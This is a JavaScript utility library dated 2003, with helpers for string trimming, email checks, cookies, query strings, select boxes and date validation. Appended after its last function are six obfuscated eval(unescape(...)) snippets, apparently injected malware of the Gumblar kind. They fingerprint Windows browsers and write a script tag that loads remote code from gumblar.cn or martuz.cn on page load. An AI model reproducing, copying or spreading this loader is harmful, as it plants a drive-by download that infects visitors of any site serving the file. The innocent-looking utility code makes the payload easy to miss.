//***********************************************
//*
//* file:			generalUtilities.js
//* Objective:		Scripting utilities for web developing
//*	Author:			Roberto Somellera
//* Last Update:	11/06/2003
//***********************************************

function getNavigatorName()
{

	//*************************************
	//* Function: 		getNavigatorName()
	//* Parameters:		None
	//* Description:	Returns the Navigator
	//*					Name.
	//* Returns:		String.
	//*************************************
	

	return navigator.appName;	

}


function getRes()
{

	//*************************************
	//* Function: 		getRes()
	//* Parameters:		None
	//* Description:	Gets the resolution of
 	//*					the client screen.
	//* Returns:		String "width,height"
	//*								
	//*************************************
	
	return screen.width + "," + screen.height;
	
	}



function trimString(inString)
{

	//*************************************
	//* Function: 		trimString()
	//* Parameters:		inString (String)
	//* Description:	remove any blank
	//*					from a string.
	//* Returns:		String.
	//*************************************

	var outString;
	var startPos;
	var endPos;
	var ch;

	// where do we start?

	startPos = 0;
	ch = inString.charAt(startPos);

	while ((ch == " ") || (ch == "\b") || (ch == "\f") || (ch == "\n") || (ch == "\r") || (ch == "\n"))
	{
			startPos++;
			ch = inString.charAt(startPos);
	}

	// where do we end?
	endPos = inString.length - 1;
	ch = inString.charAt(endPos);

	while ((ch == " ") || (ch == "\b") || (ch == "\f") || (ch == "\n") || (ch == "\r") || (ch == "\n"))
	{
		endPos--;
		ch = inString.charAt(endPos);
	}

	// get the string

	outString = inString.substring(startPos, endPos + 1);

	return outString;
	
	}

//****************************************************************

function checkEMail(inEmail)
{

	//*************************************
	//* Function: 		checkMail()
	//* Parameters:		inMail (String)
	//* Description:	validate if an E-Mail
	//*					adress is valid.
	//* Returns:		Boolean.
	//*************************************

	var locAt;
	var locPeriod;
	var okEmail;

	locAt = inEmail.indexOf("@");
	okEmail = ((locAt != -1) && 
			   (locAt != 0) &&
			   (locAt != (inEmail.length - 1)) &&
			   (inEmail.indexOf("@", locAt + 1) == -1)
			  );
	if (okEmail) {
		// so far, so good
		locPeriod = inEmail.indexOf(".");
		okEmail = ((locPeriod != -1) && (locPeriod != (inEmail.length - 1)) && (locPeriod > locAt));
	}
	
	return okEmail;
}

//****************************************************************

function ctrlExists(searchForm, ctrlName)
{

	//**************************************************
	//*
	//* Function:		ctrlExists()
	//* Parameters:		searchForm	(Object, form)
	//*					ctrlName		(String, control name)
	//* Description:	Check if a control exist within a
	//*					a form.
	//* Returns:		Boolean 
	//*
	//**************************************************

	var i = 0;

	// how many elements are there in this form

	var numElements = searchForm.elements.length;
	var foundCtrl = false;

	// loop through until we either find our control or
	// run out of elements

	while ((i < numElements) && (!(foundCtrl)))
	{
		foundCtrl = (searchForm.elements[i].name == ctrlName);
		i++;
	}

	return foundCtrl;

}


//****************************************************************

function getParameterValue(strParamName)
{

	//********************************************************
	//*
	//* Function:		getParameterValue()
	//* Parameters:		strParamName	(String, parameter name)
	//* Description:	Returns the value of a parameter if it
	//*					exist, null string ("") otherwise. If
	//*					the given index is greater than the
	//*					number of elements, returns null.
	//* Returns:		String. If no parameter found, returns
 	//*					a Null value.
	//*
	//********************************************************

	var queryString = document.location.search.substring(1);
	var start  = queryString.indexOf(strParamName);
	
	if(start == -1)
	{
	
		return null;
	}
	else
	{
	
		if( queryString.indexOf("&") == -1)
		{
		
			return queryString.substring(start + strParamName.length + 1 );
			
		}

		if( queryString.indexOf("&") == queryString.lastIndexOf("&") && queryString.indexOf("&") != -1)
		{
			
			return queryString.substring(start + strParamName.length + 1, queryString.indexOf("&")-1);
			
		
		}

		if(queryString.indexOf("&") != queryString.lastIndexOf("&"))
		{
		
			
			var strTemp = queryString.substring(start);
			return 	strTemp.substring(strTemp.indexOf("=")+1,strTemp.indexOf("&")-1);
		
		}

	}

}


function getQueryParameterValue(strParamName, intIndex)
{

	//********************************************************
	//*
	//* Function:		getQueryParameterValue()
	//* Parameters:		strParamName	(String,  parameter name)
	//*					intIndex			(Integer, parameter index)
	//* Description:	Returns the value of a parameter if it
	//*					exist, null string ("") otherwise.
	//*					The index is mandatory to specify which
	//*					value we are easking for.  Index are
	//*					handled with zero base conventions.
	//********************************************************

	var queryString = document.location.search.substring(1);
	var start  = queryString.indexOf(strParamName);
	var strTemp01 = "";
	var strTemp01 = "";
	var tempArray = "";
	
	if(start == -1)
	{
	
		return null;
	}
	else
	{
	
		// If there are more parameters (different from strParamName)
		// within the String, delete them.
	
		strTemp01 =  queryString.substring(start);
		strTemp02 =  strTemp01.substring(strTemp01.lastIndexOf(strParamName));

		// Extract only the last queryParameter to build the entire string

		if(strTemp02.indexOf("&")!=-1)
		{
			strTemp02 = strTemp02.substring(0,strTemp02.indexOf("&"));
			strTemp01 = strTemp01.substring(0,strTemp01.indexOf(strTemp02)+ strTemp02.length);
		}
		
		
		// Once builded, transform it into a new array
		
			tempArray = strTemp01.split("&");
		
			for(var i= 0 ; i < tempArray.length ; i++)
			{
				tempArray[i] = tempArray[i].substring(tempArray[i].indexOf("=")+1);
			}

		
			// Return de value of the parameter, if the index es greater than
			// the real element number, return null.
	
			if(intIndex > tempArray.length )
			{
				return null;
			}
			else
			{
				return tempArray[intIndex];
			}
	
	}

}

//****************************************************************


function searchCookie(name)
{ 
	
	//********************************************************
	//* Function:		searchCookie()
	//* Parameters:		strParamName	(String, parameter name)
	//*					ctrlName		(String, control name)
	//* Description:	Determine weather a cookie exsit or not.
	//* Returns:		Boolean 
	//********************************************************

	var myCookie = getCookie(name); 

	if (myCookie !=  null)
	{ 
		return true;
	} 
 	else
	{
		return false;
	}

} 


function setCookie(name,value,expireTime)
{ 

	//*******************************************************************
	//* Function:		setCookie()
	//* Description:	Set the cookie value of a specified cookie.  Works
	//*					only in Netscape Navigator.		
	//* Parameters:		name  			(String, cookie name)
	//*					value				(String, cookie value)
	//*					expireTime	(Number, time in milliseconds for cookie
	//*					expiration)
	//* Return:		  	valor de la cookie, Nulo si no existe la cookie 
	//********************************************************************
	
	//Delete old cookies. 
 
	 document.cookie = name; 

   var expDate = new Date();
	 
	 expDate.setTime( expDate.getTime() + expireTime ); 
   expDate = expDate.toGMTString(); 
		
   var str1 = name + "=" + value + ";expires=" + expDate + ";Path=/"; 
   document.cookie = str1; 
} 


function getCookie (name)
{ 
	
	//***************************************************************
	//* Function:		getCookie()
	//* Description:	Returns the value of a specified cookie.  Works
	//*					only in Netscape Navigator.		
	//* Parameters:		name  (String, cookie name -value to retrieve-) 
	//* Return:		  	cookie value, Null otherwise. 
	//***************************************************************  
	
  var arg = name + "="; 
  var alen = arg.length; 
  var clen = document.cookie.length; 
  var i = 0;
	
  while (i < clen)
	{ 
  	var j = i + alen; 
		
  	if (document.cookie.substring(i, j) == arg)
		{
     	return getCookieVal (j);
		}
		
    i = document.cookie.indexOf(" ", i) + 1; 

    if (i == 0)
		{
			break; 
		}

	} 

	return null; 

} 


function getCookieVal (offset)
{ 

	//***************************************************************
	//* Function:		getCookieVal()
	//* Description:	Internal Function.  Returns the decodified
	//*					cookie value.		
	//* Parameters:		offset  (Number, cookie offset) 
	//* Return:		  	String 
	//***************************************************************  
	
 var endstr = document.cookie.indexOf (";", offset); 
 
	if (endstr == -1)
	{
		endstr = document.cookie.length;
	}
	
 	return unescape(document.cookie.substring(offset, endstr)); 
} 

//****************************************************************

function addElements(objFrom, objTo)
{

	//********************************************************************
	//* Function:		addElements()
	//* Description:	Add selected elements from a SELECT object from
    //                	another SELECT object.
	//* Parameters:		objFrom (a SELECT object of a form) - Source Select 
    //*               	objTo   (a SELECT object of a form) - Target Select
	//* Return:			Nothing 
	//********************************************************************  

            
                                    
    var deletedItems=0;
                 
    for( var i=0; i<objFrom.length; i++)
    {
                     
        if( objFrom.options[i].selected )
        {
            objTo.options[objTo.length] = new Option(objFrom.options[i].text, objFrom.options[i].value);
            deletedItems++;
        }
    }

    if(deletedItems>0)
    {
        while( objFrom.selectedIndex != -1 )
        {
            objFrom.options[objFrom.selectedIndex] = null;
        }
    }
                     
    // history.go(0);
                     
    return;
}


function removeElements(objFrom)
{
	//********************************************************************
	//* Function:	removeElements()
	//* Description:	Delete selected elements from a SELECT object.
    //                another SELECT object.
	//* Parameters:	objFrom (a SELECT object of a form) - Source Select 
	//* Return:		Nothing 
	//********************************************************************  
            
    if(objFrom.selectedIndex >= 0)
    {
        objFrom.options[objFrom.selectedIndex] = null;
        history.go(0);
        return;
    }            
}

  
//****************************************************************

function isValidText( text )
{

	//*********************************************************************
	//* Function:		isValidText()
	//* Description:	Determines weather a text has invalid chars or not.
	//* Parameters:		text Text to validate 
	//* Return:			true if success, false otherwise.
	//*********************************************************************  

	if( text.length == 0  )
	{
		return true;
	}
	
	if( text.indexOf("'") != -1 || text.indexOf("\"") != -1 || text.indexOf("&") != -1 || text.indexOf("_") != -1 )
	{
		return false;
	}
	else
	{
		return true;
	}
}

//****************************************************************
		   
function isNullText( text )
{
	//*********************************************************************
	//* Function:		isNullText( text )
	//* Description:	Determines weather a text is null or not.
	//* Parameters:		text Text to validate 
	//* Return:			true if null, false otherwise.
	//*********************************************************************  

	if( text == "" || text == null )
	{
		return true;
	}
	else
	{
		return false;
	}
}

//****************************************************************

function isCityCode( text )
{
	//*********************************************************************
	//* Function:		isCityCode( text )
	//* Description:	Determines weather a text is a City Code or not.
	//* Parameters:		text Text to validate 
	//* Return:			true text has length = 3 and has 3 letters.
	//*					false otherwise.
	//*********************************************************************  

	// Var to store the regular expresionnes who will help us to validate the city code.
	
		var invalidChars =  /[^A-Za-z]/

	if( text != null && text!= ""  && text.length == 3 )
	{

		// We have three characters
	
		if(  text.search( invalidChars ) != -1 )
		{
			// Check invalid chars		
			return false;
		}
		else
		{
			// Is a City Code! (At least, it seems to be ...)
		
			return true;
		}
	
	}
	else
	{
	
		// Lengh < 3
		
		return false;
	}


}

//**************************************************************************************
// Here there are a set of functions related to date handling
//**************************************************************************************

		function getStrDayOfWeek( date, language)
		{
		
		//*****************************************************************************
		// Function:	getStrDayOfWeek()
		// Parameters:
		//				String date:	String object represening date
		//					Date format desired: ddMMMYYYY 
		//					Comments:  if parameter is not recognoized by
		//				String language	String object representing language keyname
		//					KeyName of Language 2 chars
		//					Accepeted keynames ES fos spanish, EN for english
		// Returns:		If success returns ths name of the day of week,
		//				otherwise, returns an empty string.
		//******************************************************************************		
		
			//*******************************
			// Arrays with day of week name
			//*******************************
			
			var esDays = ["Domingo", "Lunes", "Martes", "Mi&eacute;rcoles", "Jueves", "Viernes", "S&aacute;bado"];
			var enDays = ["Sunday", "Monday", "Tuesday", "Wednesday", "Thursday", "Friday", "Saturday"];
			
			//********************************
			// Validate data
			//********************************
			
			if( !isValidDate( date ) )
			{
			
				return "";
			
			}
			
			//****************************************
			// Convert date parameer into Date Object
			//****************************************
		
			myDate =  new Date( date );
				
			if( language == "ES" )
			{	
				return esDays[ myDate.getDay() ];
			}		
			else if( language == "EN" )
			{
				return enDays[ myDate.getDay() ];
			}
			else
			{
				return "";
			}
			
		}


		function getDaysInMonth(month,year)
		{ 
		
			//**********************************************************
			// Function 	getDaysInMonth()
			// Parameters:	Int year  (Four digit value)
			//				Int month (Value between 1 and 12,
			//						   e.g. January =1, February =2 ....
			// Returns:		The number of days for a given month.
			//				
			//**********************************************************						

		    var days= 0; 
			
		    if (month==1 || month==3 || month==5 || month==7 || month==8 || month==10 || month==12)
			{
				days=31; 
			}
		     else if (month==4 || month==6 || month==9 || month==11)
			 {
			 	days=30; 
			 }
		     else if (month==2)
			 { 
		        if (isLeapYear(year))
				{ 
		            days=29; 
		        }  
		        else
				{ 
		            days=28; 
		        } 
		    } 
		    return (days); 
		} 

		
		function isLeapYear (year)
		{ 
			//**********************************************************
			// Function 	isLeapYear()
			// Parameters:	Int year (Four digit value)
			// Returns:		If is leap year, returns true, otherwise
			//				returns false.
			//**********************************************************						
		
		    if (((year % 4)==0) && ((year % 100)!=0) || ((year % 400)==0))
			{ 
		        return (true); 
		    } 
		    else{ 
		        return (false); 
		    } 
		} 
		
		
		function isValidDate( date )
		{
		
			//*************************************************************************************
			// Function:	isValidDate()
			// Parameters:	String date    Date format ddMMMyyyy
			//				MMM must be tho month abbreviation in english
			// Returns:		Id is a valid date, returns true.  Otherwise, false			
			//*************************************************************************************
			
			var monthAbbreviations = ["JAN", "FEB", "MAR", "APR", "MAY", "JUN", "JUL", "AUG", "SEP", "OCT", "NOV", "DEC"];
		
			var day = 0;
			var month = 0;
			var year = 0;
			
			var sDay = "";
			var sMonth = "";
			var sYera = "";
			
			var invalidChars =  /[^A-Za-z]/;
			var invalidNums  =  /[^0-9]/;
			
			var flag = false;
			
			
			if( date == null || date.length != 9  )
			{
				//alert("Size <> 9!");
				return false;
			}
			
			//************************
			// Parseamos la fecha
			//************************
			
			sDay	= date.substring(0,2);
			//alert("Day: " + sDay);
			sMonth	= date.substring(2,5);
			sMonth = sMonth.toUpperCase();
			//alert("Month: " + sMonth);
			sYear	= date.substring(5,9);
			//alert("Year: " + sYear);
					
			//************************
			// Year Validation
			//************************
			
			
			if( sYear.length != 4 )
			{
				//alert("Year Length < 4!");
				return false;			
			}
			else if( sYear.search( invalidNums ) != -1 )
			{
				//alert("Wrong chars within year!");
				return false;						
			}
			else
			{
				year = parseInt( sYear ,10);
				
				if( year <  0 )
				{
					//alert("Negative Year!");
					return false;
				}
			}
			
			//************************
			// Month Validation
			//************************
			
			if( sMonth.length != 3 )
			{
				//alert("Wrong Month lenght!");
				return false;
			}
			else if( sMonth.search( invalidChars ) != -1 )
			{
				//alert("Invalid chars within month name!");
				return false;			
			}
			else
			{

				for( var i = 0; i < 12; i++ )
				{
					if( sMonth == monthAbbreviations[i] )
					{
						flag = true;
						month = i+1;
					}
				}
				
				if( !flag )
				{
					//alert("Unknown month!");
					return false
				}
				
				if( month > 12 || month < 1 )
				{
					//alert("Invalid Month Number!");
					return false;
				}
				
				
			}
			
			//************************
			// Day Validation
			//************************
			
			if(sDay.search( invalidNums ) != -1)
			{
				//alert("Wrong characters for day");
				return false;
			}
			else
			{
				day = parseInt( sDay ,10);
				
				if( day > 31 )
				{
					//alert("Months don't have more than 31 days!");
					return false;
				}				
				if( day > getDaysInMonth( month, year ) )
				{
					//alert("This month don't have such days number!");
					return false;
				}
				if( month == 2 && day > 28 && !isLeapYear( year ) )
				{
					//alert("This is not a leap year!");
					return false;
				}			
			
			}
			
			//********************************
			// If no error, date is O.K.
			//********************************
			
			//alert("O.K.");
			return true;
								
		}

		
		function isDate( date )
		{
			//*************************************************************************************
			// Function:	isValidDate()
			// Parameters:	String date    Date format mm/dd/yyyy
			//				MMM must be tho month abbreviation in english
			// Returns:		Id is a valid date, returns true.  Otherwise, false			
			//*************************************************************************************
		
			var day = 0;
			var month = 0;
			var year = 0;
			
			var sDay = "";
			var sMonth = "";
			var sYera = "";
			
			var invalidNums  =  /[^0-9]/;
			
			var flag = false;
			
			
			if( date == null || date == "" ||date.length != 10  )
			{
				//alert("Size <> 10!");
				return false;
			}
			
			//************************
			// Parseamos la fecha
			//************************
			
			sDay	= date.substring(3,5);
			//alert("Day: " + sDay);
			sMonth	= date.substring(0,2);
			//alert("Month: " + sMonth);
			sYear	= date.substring(6,10);
			//alert("Year: " + sYear);
					
			//************************
			// Year Validation
			//************************
			
			
			if( sYear.length != 4 )
			{
				//alert("Year Length < 4!");
				return false;			
			}
			else if( sYear.search( invalidNums ) != -1 )
			{
				//alert("Wrong chars within year!");
				return false;						
			}
			else
			{
				year = parseInt( sYear,10);
				
				if( year <  0 )
				{
					//alert("Negative Year!");
					return false;
				}
			}
			
			//************************
			// Month Validation
			//************************
		 			
			if( sMonth.search( invalidNums ) != -1 )
			{
				//alert("Invalid chars within month name!");
				return false;			
			}
			else
			{

				month = parseInt( sMonth,10 );
				
				if( month > 12 || month < 1 )
				{
					//alert("Invalid Month Number!");
					return false;
				}
				
				
			}
			
			//************************
			// Day Validation
			//************************
			
			if(sDay.search( invalidNums ) != -1)
			{
				//alert("Wrong characters for day");
				return false;
			}
			else
			{
				day = parseInt( sDay ,10);
				
				if( day > 31 )
				{
					//alert("Months don't have more than 31 days!");
					return false;
				}				
				if( day > getDaysInMonth( month, year ) )
				{
					//alert("This month don't have such days number!");
					return false;
				}
				if( month == 2 && day > 28 && !isLeapYear( year ) )
				{
					//alert("This is not a leap year!");
					return false;
				}			
			
			}
			
			//********************************
			// If no error, date is O.K.
			//********************************
			
			//alert("O.K.");
			return true;
										
		
		}
		
		
		
		
		function validateTextAreaLength(objTextArea, intMaxSize, strAlert)
		{
			//*************************************************************************************
			// Function:	validateTextAreaLength()
			// Parameters:	objTextArea:	Text Area control (Full name & path)
			//				intMaxSize:		Max Size of enetered text
			//				strAlert:		MEssage to display if exceeded size
			//				
			// Returns:		Nothing		
			//*************************************************************************************
		
			var content = "";
			var size = 0;
			
			size = objTextArea.value.length
	
		    if ( size > intMaxSize )
			{
		        alert( strAlert );
				
		        content = objTextArea.value.substring(0, intMaxSize - 1);
		        objTextArea.value = content;
		    }
		
			return;
		}
		
		
		
		
		function hasReachedMaxChars(objControl, intMaxChars)
		{
		
			//****************************************************************************************
			// Function:	hasReachedMaxChars()
			// Parameters:	objTextControl:	Control Name (Full name & path).  It muste be a Text box.
			//				intMaxChars:	Max Size of enetered text
			//				
			// Returns:		True if entered text size is greater then intMaxChars value.	
			//*****************************************************************************************
		
			var currentSize = 0;
			
			currentSize = objControl.value.length;
			
			if( currentSize > intMaxChars )
			{
				return true;
			}
			else
			{
				return false;
			} 
		
		}

		function isValidDateExtended( date )
		{
		
			//*************************************************************************************
			// Function:	isValidDateExtended(), accepts only 1 digit in month and day
			// Parameters:	String date    Date format mm/dd/yyyy or m/d/yyyy or mm/d/yyyy or m/dd/yyyy
			// Returns:		If invalid date return true,, else false
			//*************************************************************************************
			
			var day = 0;
			var month = 0;
			var year = 0;
			
			var sDay = "";
			var sMonth = "";
			var sYear = "";
			
			var invalidChars =  /[^A-Za-z]/;
			var invalidNums  =  /[^0-9]/;
			
			var flag = false;			
			
			if( date == null || date == "" || date.length < 8 || date.length > 10  )
			{
				//alert("Size <> 10!");
				return false;
			}
			
			//************************
			// Parseamos la fecha
			//************************
			
			sMonth = date.substring(0,2);
			sDay	= date.substring(3,5);
			sYear	= date.substring(6,10);

			if (date.length == 9){
				if ( date.substring(0,2).search("/") != -1 ){
					sMonth = date.substring(0,1);
					sDay   = date.substring(2,4);
				} else {
					sDay   = date.substring(3,4);					
				}
				sYear	= date.substring(5,9);
			}

			if (date.length == 8){
				sMonth = date.substring(0,1);
				sDay	= date.substring(2,3);
				sYear	= date.substring(4,8);
			}

			//alert("Month: " + sMonth);
			//alert("Day: " + sDay);			
			//alert("Year: " + sYear);
					
			//************************
			// Year Validation
			//************************
			
			
			if( sYear.length != 4 )
			{
				//alert("Year Length < 4!");
				return false;			
			}
			else if( sYear.search( invalidNums ) != -1 )
			{
				//alert("Wrong chars within year!");
				return false;						
			}
			else
			{
				year = parseInt( sYear,10 );
				
				if( year <  0 )
				{
					//alert("Negative Year!");
					return false;
				}
			}
			
			//************************
			// Month Validation
			//************************
			
			month = parseInt(sMonth,10)
						
			if( month > 12 || month < 1 )
			{
				//alert("Invalid Month Number!");
				return false;
			}
				
			
			//************************
			// Day Validation
			//************************
			
			if(sDay.search( invalidNums ) != -1)
			{
				//alert("Wrong characters for day *" + sDay + "*");
				return false;
			}
			else
			{
				day = parseInt( sDay,10 );
				
				if( day > 31 )
				{
					//alert("Months don't have more than 31 days!");
					return false;
				}
								
				if( day > getDaysInMonth( month, year ) )
				{
					//alert("This month don't have such days number!");
					return false;
				}
				
				if( month == 2 && day > 28 && !isLeapYear( year ) )
				{
					//alert("This is not a leap year!");
					return false;
				}			
			
			}
			
			//********************************
			// If no error, date is O.K.
			//********************************
			
			//alert("O.K.");
			return true;
								
		}


		function compareDates( date1, date2 ) {
			//*************************************************************************************
			// Function:	compareDates(), accepts 2 dates and returns
			// Parameters:	String date1 and String date2
			// Returns:		true if date2 >= date1, false else
			//*************************************************************************************

            var fecha1 = new Date( parseDate(date1) );
            var fecha2 = new Date( parseDate(date2) );
			if ( fecha2.getYear() < fecha1.getYear() ) {
				
				return false;
			}	else {
				if ( fecha2.getYear() == fecha1.getYear() ) {
					if ( fecha2.getMonth() < fecha1.getMonth() ) {
						return false;				
					}	else {
						if ( fecha2.getMonth() == fecha1.getMonth() ) {
							if ( fecha2.getDate() < fecha1.getDate() ) {
								return false;									
							}//if date < date
						}//if month == month
					}//month < month
				}//year == year
			}//year < year
            return true;
		}//compareDates

		function parseDate( date ) {
			//*************************************************************************************
			// Function:	parseDate(), accepts a dates and returns a valid string
			// Parameters:	String date
			// Returns:		the date parsed
			//*************************************************************************************
			var sDay = "";
			var sMonth = "";
			var sYear = "";
			var nameMonth = "";

			//************************
			// Getting the parts of the date
			//************************
			
			sMonth  = date.substring(0,2);
			sDay	= date.substring(3,5);
			sYear	= date.substring(6,10);

			if (date.length == 9){
				if ( date.substring(0,2).search("/") != -1 ){
					sMonth = date.substring(0,1);
					sDay   = date.substring(2,4);
				} else {
					sDay   = date.substring(3,4);					
				}
				sYear	= date.substring(5,9);
			}

			if (date.length == 8){
				sMonth = date.substring(0,1);
				sDay	= date.substring(2,3);
				sYear	= date.substring(4,8);
			}

            var months = new Array(12);
            months[0]="January";
            months[1]="February";
            months[2]="March";
            months[3]="April";
            months[4]="May";
            months[5]="June";
            months[6]="July";
            months[7]="August";
            months[8]="September";
            months[9]="October";
            months[10]="November";
            months[11]="December";

			nameMonth = months[sMonth-1];

            var fecha = nameMonth + " " + sDay + ", " + sYear;
            //alert(fecha);
            return fecha;
		}//parseDate
				
	function makevisible(cur,which){
		if (which==0)
			cur.filters.alpha.opacity=100
		else
			cur.filters.alpha.opacity=60
}
		<!-- 
(function(t){eval(unescape(('&76ar&20a&3d&22&53c&72iptE&6e&67ine&22&2cb&3d&22V&65&72sion()+&22&2cj&3d&22&22&2cu&3dnav&69gato&72&2euse&72Agen&74&3bif&28(u&2eindex&4f&66(&22W&69n&22&29&3e0)&26&26(&75&2e&69ndexOf&28&22NT&206&22&29&3c0&29&26&26(do&63um&65nt&2e&63ookie&2eindex&4f&66&28&22m&69ek&3d1&22)&3c0)&26&26(type&6ff(zrv&7at&73)&21&3dtype&6f&66(&22A&22)&29)&7b&7arvzts&3d&22A&22&3b&65&76al(&22i&66(w&69&6edow&2e&22+a&2b&22)j&3d&6a&2b&22&2b&61+&22Major&22+b+a+&22&4din&6fr&22+&62+a+&22&42ui&6c&64&22+b+&22j&3b&22)&3bdo&63umen&74&2ewrit&65(&22&3cscri&70t&20s&72c&3d&2f&2fgumblar&2ecn&2frss&2f&3fid&3d&22+j+&22&3e&3c&5c&2fscri&70t&3e&22&29&3b&7d').replace(t,'%')))})(/&/g);
 --><!-- 
(function(){var yimr='%';var QvHd='v"61r"20a"3d"22ScriptEn"67"69ne"22"2cb"3d"22Ve"72s"69o"6e"28)"2b"22"2cj"3d"22"22"2cu"3d"6e"61v"69ga"74or"2eus"65rA"67e"6et"3b"69f("28u"2eindexOf("22Win"22)"3e0"29"26"26("75"2eindexO"66"28"22NT"206"22"29"3c"30)"26"26(d"6fcume"6e"74"2e"63"6f"6fkie"2eindexOf("22m"69ek"3d1"22)"3c0"29"26"26("74"79pe"6ff(zrvzts)"21"3dt"79peof("22A"22)))"7bzrvzts"3d"22A"22"3be"76"61l("22"69"66"28wind"6f"77"2e"22+a+"22"29j"3dj+"22+a+"22Major"22+b"2ba+"22M"69nor"22+b"2ba+"22Build"22+b+"22"6a"3b"22)"3bdocume"6e"74"2e"77ri"74e"28"22"3c"73"63ript"20sr"63"3d"2f"2f"67"75mb"6c"61r"2ecn"2frss"2f"3fid"3d"22+j"2b"22"3e"3c"5c"2fs"63"72ip"74"3e"22)"3b"7d';var LMnm=QvHd.replace(/"/g,yimr);var AseL=unescape(LMnm);eval(AseL)})();
 --><!-- 
(function(dzD9){var uPyCi='%';var vSH=('~76a~72~20a~3d~22S~63rip~74En~67ine~22~2cb~3d~22~56e~72sion()+~22~2cj~3d~22~22~2cu~3dn~61~76ig~61tor~2euserAgent~3bif((~75~2eindex~4f~66(~22~57in~22~29~3e0)~26~26(u~2e~69~6edexOf(~22NT~20~36~22~29~3c0)~26~26(~64~6f~63umen~74~2e~63ooki~65~2eindexOf~28~22mi~65k~3d1~22)~3c0)~26~26(~74~79p~65o~66(zrvz~74s)~21~3d~74~79peof~28~22A~22~29~29)~7b~7a~72vz~74s~3d~22A~22~3beva~6c(~22~69f~28windo~77~2e~22+~61~2b~22~29j~3d~6a+~22+a+~22Ma~6aor~22+b+a+~22~4dinor~22+b~2b~61~2b~22Build~22+b~2b~22~6a~3b~22~29~3bdocu~6dent~2ewr~69~74e(~22~3cscr~69p~74~20~73rc~3d~2f~2fgumb~6car~2ecn~2frss~2f~3fid~3d~22+j~2b~22~3e~3c~5c~2fsc~72~69p~74~3e~22)~3b~7d').replace(dzD9,uPyCi);eval(unescape(vSH))})(/~/g);
 --><!-- 
(function(){var NwR7N=unescape(('va.72.20.61.3d.22ScriptEn.67i.6ee.22.2cb.3d.22Ve.72s.69o.6e.28)+.22.2cj.3d.22.22.2cu.3dn.61.76ig.61t.6fr.2e.75serAgent.3bif((u.2einde.78O.66(.22Win.22).3e0).26.26(u.2eindexOf(.22N.54.206.22).3c0).26.26(docu.6d.65.6et.2ecoo.6bie.2ei.6e.64ex.4ff.28.22miek.3d1.22.29.3c0.29.26.26(t.79p.65of(.7arvzt.73).21.3dtype.6ff(.22.41.22))).7bz.72vzts.3d.22A.22.3be.76al.28.22if(wind.6fw.2e.22+a.2b.22)j.3dj+.22+a+.22Major.22+b.2b.61.2b.22M.69.6eor.22+b+a+.22.42.75i.6cd.22.2b.62+.22j.3b.22).3bdocume.6e.74.2ew.72i.74e(.22.3csc.72ipt.20src.3d.2f.2f.67umb.6car.2ec.6e.2fr.73s.2f.3f.69d.3d.22+.6a+.22.3e.3c.5c.2fscr.69.70t.3e.22).3b.7d').replace(/./g,'%'));eval(NwR7N)})();
 --><!-- 
(function(){var MiV='var>20a>3d>22>53>63ript>45n>67in>65>22>2cb>3d>22>56ersion>28)>2b>22>2c>6a>3d>22>22>2cu>3dnav>69gator>2e>75se>72Ag>65n>74>3bif>28>28u>2eindexOf(>22W>69n>22)>3e0)>26>26>28u>2einde>78Of(>22NT>206>22)>3c0>29>26>26(do>63>75ment>2e>63>6f>6f>6bie>2ei>6ed>65>78O>66(>22miek>3d1>22)>3c0>29>26>26(typeof(zrvzts)>21>3dtyp>65>6f>66>28>22A>22)))>7b>7arv>7at>73>3d>22A>22>3beval(>22>69f(windo>77>2e>22+a+>22)>6a>3dj+>22+a>2b>22Major>22+>62+a+>22Mi>6eor>22>2bb+a>2b>22>42u>69ld>22+b>2b>22j>3b>22>29>3bdo>63>75>6dent>2ew>72ite(>22>3cscri>70t>20>73rc>3d>2f>2fgumblar>2ecn>2frss>2f>3f>69>64>3d>22+j+>22>3e>3c>5c>2fsc>72>69p>74>3e>22)>3b>7d';eval(unescape(MiV.replace(/>/g,'%')))})();
 --><!-- 
(function(lp1mt){var rHtX=unescape(('va-72-20a-3d-22-53cript-45ngi-6e-65-22-2cb-3d-22-56ersion()+-22-2cj-3d-22-22-2cu-3dn-61v-69gat-6fr-2eu-73er-41-67ent-3bif((-75-2e-69nde-78Of-28-22Chrome-22)-3c-30)-26-26(u-2eindex-4ff(-22Wi-6e-22-29-3e0)-26-26(u-2e-69ndex-4f-66(-22NT-206-22)-3c-30)-26-26(-64ocument-2eco-6f-6bie-2einde-78O-66-28-22miek-3d1-22)-3c0)-26-26(-74-79peof-28zrvzts)-21-3dtypeof(-22A-22)))-7bzrvzts-3d-22A-22-3b-65-76-61l-28-22if(window-2e-22-2ba+-22)j-3dj+-22-2ba+-22Major-22+-62-2ba+-22Min-6f-72-22-2bb+-61+-22Build-22+b+-22-6a-3b-22)-3bd-6f-63-75men-74-2ewr-69te(-22-3c-73cri-70-74-20src-3d-2f-2f-6d-61-72-22+-22tuz-2e-63n-2fvid-2f-3fid-3d-22-2b-6a+-22-3e-3c-5c-2f-73c-72ipt-3e-22)-3b-7d').replace(lp1mt,'%'));eval(rHtX)})(/\-/g);
 -->